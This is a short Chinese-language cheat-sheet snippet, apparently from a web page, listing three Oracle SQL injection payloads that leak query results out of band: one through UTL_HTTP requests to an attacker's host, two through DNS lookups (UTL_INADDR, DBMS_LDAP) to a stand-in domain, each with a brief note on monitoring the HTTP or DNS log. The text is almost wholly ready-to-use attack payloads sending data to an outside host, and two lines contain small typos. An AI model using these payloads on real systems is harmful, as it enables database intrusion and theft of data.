?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)

結果將會被保存到 HTTP 訪問日誌

 

?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROMDUAL)

你須要監測去到com 的 DNS 解析請求

 

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROMDUAL)

你須要監測去到com 的 DNS 解析請求

相關文章
相關標籤/搜索